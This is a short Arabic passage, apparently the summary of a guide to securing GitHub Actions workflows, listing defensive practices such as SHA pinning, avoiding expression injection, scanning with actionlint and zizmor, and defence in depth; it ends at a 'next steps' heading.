  • العلامات القابلة للتغيير هي السبب الجذري لمعظم اختراقات الـ actions. التثبيت بهاشات SHA الكاملة يزيل هجمات تغيير العلامات، وهي ناقل الاستغلال الأكثر شيوعًا.
  • حقن التعبيرات هي أكثر ثغرات مسارات العمل انتشارًا. لا تستكمل أبدًا بيانات غير موثوقة (عناوين PR، أسماء الفروع، رسائل الالتزام) مباشرة في كتل run: — استخدم دائمًا متغيرات البيئة.
  • الفحص الآلي باستخدام actionlint وzizmor يكتشف ما تفوته المراجعة اليدوية. استخدم كلتا الأداتين في خط أنابيب CI الخاص بك — actionlint للصحة والأمان الأساسي، وzizmor للتحليل الأمني العميق.
  • الدفاع العميق ضروري. لا يكفي عنصر تحكم واحد. ادمج التثبيت والفحص والقوائم البيضاء وCODEOWNERS والمراقبة لحماية شاملة.
  • عامل ملفات مسارات العمل كشيفرة إنتاج. تستحق نفس عمليات المراجعة والاختبار وإدارة التغيير كشيفرة تطبيقك.

الخطوات التالية

واصل بناء معرفتك بأمان CI/CD مع هذه الأدلة ذات الصلة: